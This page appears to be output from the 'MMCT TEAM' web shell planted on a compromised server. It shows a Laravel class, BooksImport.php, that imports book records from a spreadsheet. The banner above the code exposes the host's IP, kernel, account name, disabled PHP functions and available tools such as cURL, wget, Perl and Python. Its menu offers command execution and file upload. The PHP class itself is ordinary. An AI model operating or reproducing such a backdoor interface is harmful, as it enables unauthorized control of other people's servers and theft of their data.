MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/ecampus.ncriptech.com/../cms.ncriptech.com/app/Imports/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/ecampus.ncriptech.com/../cms.ncriptech.com/app/Imports/BooksImport.php
<?php

namespace App\Imports;

use Auth;
use App\Models\Book;
use Illuminate\Support\Collection;
use Illuminate\Support\Facades\Validator;
use Maatwebsite\Excel\Concerns\ToCollection;
use Maatwebsite\Excel\Concerns\WithHeadingRow;

class BooksImport implements ToCollection, WithHeadingRow
{
    protected $data;

    /**
     * @return void
     */
    public function __construct($data)
    {
        $this->data = $data;
    }

    /**
    * @param array $row
    *
    * @return \Illuminate\Database\Eloquent\Model|null
    */
    public function collection(Collection $rows)
    {
        Validator::make($rows->toArray(), [
            '*.title' => 'required|max:191',
            '*.isbn' => 'required|max:30|unique:books,isbn',
            '*.price' => 'nullable|numeric',
            '*.quantity' => 'required|numeric',
        ])->validate();


        foreach ($rows as $row) {
            Book::updateOrCreate(
                [
                'isbn'    => $row['isbn'],
                ],[
                'category_id'     => $this->data['category'],
                'title'    => $row['title'],
                'isbn'    => $row['isbn'],
                'author'    => $row['author'],
                'publisher'    => $row['publisher'],
                'edition'    => $row['edition'],
                'publish_year'    => $row['publish_year'],
                'language'    => $row['language'],
                'price'    => $row['price'],
                'quantity'    => $row['quantity'],
                'created_by'     => Auth::guard('web')->user()->id,
            ]);
        }
    }
}

MMCT - 2023